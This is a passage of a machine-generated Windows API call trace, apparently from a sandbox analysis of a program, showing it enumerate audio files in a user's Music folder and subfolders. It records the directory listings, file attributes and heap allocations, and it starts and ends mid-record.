cFileName="e5pQl7xHqwE-dbgx.mp3", cAlternateFileName="")) returned 1 [0090.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59ab0730, ftCreationTime.dwHighDateTime=0x1d5bda2, ftLastAccessTime.dwLowDateTime=0xabd13db0, ftLastAccessTime.dwHighDateTime=0x1d5c467, ftLastWriteTime.dwLowDateTime=0xabd13db0, ftLastWriteTime.dwHighDateTime=0x1d5c467, nFileSizeHigh=0x0, nFileSizeLow=0xdc08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EvvmODGJ1uewhDGhCg.wav", cAlternateFileName="")) returned 1 [0090.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937ef210, ftCreationTime.dwHighDateTime=0x1d5c530, ftLastAccessTime.dwLowDateTime=0xf384d200, ftLastAccessTime.dwHighDateTime=0x1d5c5b8, ftLastWriteTime.dwLowDateTime=0xf384d200, ftLastWriteTime.dwHighDateTime=0x1d5c5b8, nFileSizeHigh=0x0, nFileSizeLow=0xab58, dwReserved0=0x0, dwReserved1=0x0, cFileName="fKu1yrLnyU2cH.mp3", cAlternateFileName="")) returned 1 [0090.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e9ad0, ftCreationTime.dwHighDateTime=0x1d5bb26, ftLastAccessTime.dwLowDateTime=0x12e64c00, ftLastAccessTime.dwHighDateTime=0x1d5b7f9, ftLastWriteTime.dwLowDateTime=0x12e64c00, ftLastWriteTime.dwHighDateTime=0x1d5b7f9, nFileSizeHigh=0x0, nFileSizeLow=0x17b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fNLgb.wav", cAlternateFileName="")) returned 1 [0090.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8a00a0, ftCreationTime.dwHighDateTime=0x1d5b84f, ftLastAccessTime.dwLowDateTime=0x253a5720, ftLastAccessTime.dwHighDateTime=0x1d5ba2e, ftLastWriteTime.dwLowDateTime=0x253a5720, ftLastWriteTime.dwHighDateTime=0x1d5ba2e, nFileSizeHigh=0x0, nFileSizeLow=0x535c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GyzLq5.mp3", cAlternateFileName="")) returned 1 [0090.878] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b1ddfb0, ftCreationTime.dwHighDateTime=0x1d5c47b, ftLastAccessTime.dwLowDateTime=0xa78a1da0, ftLastAccessTime.dwHighDateTime=0x1d5c334, ftLastWriteTime.dwLowDateTime=0xa78a1da0, ftLastWriteTime.dwHighDateTime=0x1d5c334, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jj c_2QZ5BKu", cAlternateFileName="")) returned 1 [0090.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Jj c_2QZ5BKu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jj c_2qz5bku"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b1ddfb0, ftCreationTime.dwHighDateTime=0x1d5c47b, ftLastAccessTime.dwLowDateTime=0xa78a1da0, ftLastAccessTime.dwHighDateTime=0x1d5c334, ftLastWriteTime.dwLowDateTime=0xa78a1da0, ftLastWriteTime.dwHighDateTime=0x1d5c334, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.878] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Jj c_2QZ5BKu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jj c_2qz5bku"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.879] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.879] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.879] NtClose (Handle=0x178) returned 0x0 [0090.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0090.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0090.880] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Jj c_2QZ5BKu\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.880] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b1ddfb0, ftCreationTime.dwHighDateTime=0x1d5c47b, ftLastAccessTime.dwLowDateTime=0xa78a1da0, ftLastAccessTime.dwHighDateTime=0x1d5c334, ftLastWriteTime.dwLowDateTime=0xa78a1da0, ftLastWriteTime.dwHighDateTime=0x1d5c334, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.880] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64bc0390, ftCreationTime.dwHighDateTime=0x1d5c487, ftLastAccessTime.dwLowDateTime=0x60568950, ftLastAccessTime.dwHighDateTime=0x1d5c294, ftLastWriteTime.dwLowDateTime=0x60568950, ftLastWriteTime.dwHighDateTime=0x1d5c294, nFileSizeHigh=0x0, nFileSizeLow=0x38ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 bcwKK.mp3", cAlternateFileName="")) returned 1 [0090.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5c38 [0090.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa420 [0090.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.882] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc938be40, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0xc8814030, ftLastAccessTime.dwHighDateTime=0x1d5c2c4, ftLastWriteTime.dwLowDateTime=0xc8814030, ftLastWriteTime.dwHighDateTime=0x1d5c2c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="apk-QG", cAlternateFileName="")) returned 1 [0090.882] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b94490, ftCreationTime.dwHighDateTime=0x1d5c3c0, ftLastAccessTime.dwLowDateTime=0x55e14b40, ftLastAccessTime.dwHighDateTime=0x1d5b61e, ftLastWriteTime.dwLowDateTime=0x55e14b40, ftLastWriteTime.dwHighDateTime=0x1d5b61e, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRUlepJ.wav", cAlternateFileName="")) returned 1 [0090.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5c58 [0090.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa4a8 [0090.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a4a030, ftCreationTime.dwHighDateTime=0x1d5bc2e, ftLastAccessTime.dwLowDateTime=0x78fad9d0, ftLastAccessTime.dwHighDateTime=0x1d5c46e, ftLastWriteTime.dwLowDateTime=0x78fad9d0, ftLastWriteTime.dwHighDateTime=0x1d5c46e, nFileSizeHigh=0x0, nFileSizeLow=0x5522, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZOFrXPOI5znkgBX.mp3", cAlternateFileName="")) returned 1 [0090.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0090.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5c78 [0090.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134fb40 [0090.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862ebb40, ftCreationTime.dwHighDateTime=0x1d5bbb2, ftLastAccessTime.dwLowDateTime=0xc4cfa7b0, ftLastAccessTime.dwHighDateTime=0x1d5b8f1, ftLastWriteTime.dwLowDateTime=0xc4cfa7b0, ftLastWriteTime.dwHighDateTime=0x1d5b8f1, nFileSizeHigh=0x0, nFileSizeLow=0xc5a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hJXo.m4a", cAlternateFileName="")) returned 1 [0090.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5c98 [0090.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa530 [0090.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.888] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a62b040, ftCreationTime.dwHighDateTime=0x1d5c25d, ftLastAccessTime.dwLowDateTime=0xe43b1b90, ftLastAccessTime.dwHighDateTime=0x1d5b69c, ftLastWriteTime.dwLowDateTime=0xe43b1b90, ftLastWriteTime.dwHighDateTime=0x1d5b69c, nFileSizeHigh=0x0, nFileSizeLow=0x10952, dwReserved0=0x0, dwReserved1=0x0, cFileName="v9lcTOr8Z5Q.m4a", cAlternateFileName="")) returned 1 [0090.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5cb8 [0090.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134fc48 [0090.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9800) returned 0x135c9e8 [0090.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d840e0, ftCreationTime.dwHighDateTime=0x1d5be73, ftLastAccessTime.dwLowDateTime=0x64aba8b0, ftLastAccessTime.dwHighDateTime=0x1d5c23e, ftLastWriteTime.dwLowDateTime=0x64aba8b0, ftLastWriteTime.dwHighDateTime=0x1d5c23e, nFileSizeHigh=0x0, nFileSizeLow=0x15edb, dwReserved0=0x0, dwReserved1=0x0, cFileName="yjnr.m4a", cAlternateFileName="")) returned 1 [0090.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5cd8 [0090.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa5b8 [0090.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.892] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d840e0, ftCreationTime.dwHighDateTime=0x1d5be73, ftLastAccessTime.dwLowDateTime=0x64aba8b0, ftLastAccessTime.dwHighDateTime=0x1d5c23e, ftLastWriteTime.dwLowDateTime=0x64aba8b0, ftLastWriteTime.dwHighDateTime=0x1d5c23e, nFileSizeHigh=0x0, nFileSizeLow=0x15edb, dwReserved0=0x0, dwReserved1=0x0, cFileName="yjnr.m4a", cAlternateFileName="")) returned 0 [0090.892] GetLastError () returned 0x12 [0090.892] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Jj c_2QZ5BKu\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0090.892] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.892] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b1ddfb0, ftCreationTime.dwHighDateTime=0x1d5c47b, ftLastAccessTime.dwLowDateTime=0xa78a1da0, ftLastAccessTime.dwHighDateTime=0x1d5c334, ftLastWriteTime.dwLowDateTime=0xa78a1da0, ftLastWriteTime.dwHighDateTime=0x1d5c334, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64bc0390, ftCreationTime.dwHighDateTime=0x1d5c487, ftLastAccessTime.dwLowDateTime=0x60568950, ftLastAccessTime.dwHighDateTime=0x1d5c294, ftLastWriteTime.dwLowDateTime=0x60568950, ftLastWriteTime.dwHighDateTime=0x1d5c294, nFileSizeHigh=0x0, nFileSizeLow=0x38ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 bcwKK.mp3", cAlternateFileName="")) returned 1 [0090.893] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc938be40, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0xc8814030, ftLastAccessTime.dwHighDateTime=0x1d5c2c4, ftLastWriteTime.dwLowDateTime=0xc8814030, ftLastWriteTime.dwHighDateTime=0x1d5c2c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="apk-QG", cAlternateFileName="")) returned 1 [0090.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.893] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Jj c_2QZ5BKu\\apk-QG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jj c_2qz5bku\\apk-qg"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc938be40, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0xc8814030, ftLastAccessTime.dwHighDateTime=0x1d5c2c4, ftLastWriteTime.dwLowDateTime=0xc8814030, ftLastWriteTime.dwHighDateTime=0x1d5c2c4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Jj c_2QZ5BKu\\apk-QG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jj c_2qz5bku\\apk-qg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.893] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.894] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.894] NtClose (Handle=0x178) returned 0x0 [0090.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa640 [0090.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0090.895] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Jj c_2QZ5BKu\\apk-QG\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0090.895] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc938be40, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0xc8814030, ftLastAccessTime.dwHighDateTime=0x1d5c2c4, ftLastWriteTime.dwLowDateTime=0xc8814030, ftLastWriteTime.dwHighDateTime=0x1d5c2c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.896] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3565e240, ftCreationTime.dwHighDateTime=0x1d5bd3a, ftLastAccessTime.dwLowDateTime=0x469b75a0, ftLastAccessTime.dwHighDateTime=0x1d5bbac, ftLastWriteTime.dwLowDateTime=0x469b75a0, ftLastWriteTime.dwHighDateTime=0x1d5bbac, nFileSizeHigh=0x0, nFileSizeLow=0x4926, dwReserved0=0x0, dwReserved1=0x0, cFileName="1eJbw.mp3", cAlternateFileName="")) returned 1 [0090.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134fd50 [0090.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa640) returned 1 [0090.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5cf8 [0090.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134fe58 [0090.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.899] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0458a30, ftCreationTime.dwHighDateTime=0x1d5b9ec, ftLastAccessTime.dwLowDateTime=0x25198130, ftLastAccessTime.dwHighDateTime=0x1d5c30c, ftLastWriteTime.dwLowDateTime=0x25198130, ftLastWriteTime.dwHighDateTime=0x1d5c30c, nFileSizeHigh=0x0, nFileSizeLow=0x13a6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6QCXK5d-FRK.m4a", cAlternateFileName="")) returned 1 [0090.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5d18 [0090.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ff60 [0090.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.901] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4df6cb0, ftCreationTime.dwHighDateTime=0x1d5c247, ftLastAccessTime.dwLowDateTime=0x21d246b0, ftLastAccessTime.dwHighDateTime=0x1d5b62d, ftLastWriteTime.dwLowDateTime=0x21d246b0, ftLastWriteTime.dwHighDateTime=0x1d5b62d, nFileSizeHigh=0x0, nFileSizeLow=0x14a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="8n0DpBtljHd6OHjAP.mp3", cAlternateFileName="")) returned 1 [0090.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5d38 [0090.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350068 [0090.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.903] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa10fdec0, ftCreationTime.dwHighDateTime=0x1d5b66d, ftLastAccessTime.dwLowDateTime=0x637bf470, ftLastAccessTime.dwHighDateTime=0x1d5b78c, ftLastWriteTime.dwLowDateTime=0x637bf470, ftLastWriteTime.dwHighDateTime=0x1d5b78c, nFileSizeHigh=0x0, nFileSizeLow=0x11a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9lCeeANPB3kKPt.m4a", cAlternateFileName="")) returned 1 [0090.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5d58 [0090.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350170 [0090.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.905] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38845050, ftCreationTime.dwHighDateTime=0x1d5bdea, ftLastAccessTime.dwLowDateTime=0xb3a2900, ftLastAccessTime.dwHighDateTime=0x1d5c5ae, ftLastWriteTime.dwLowDateTime=0xb3a2900, 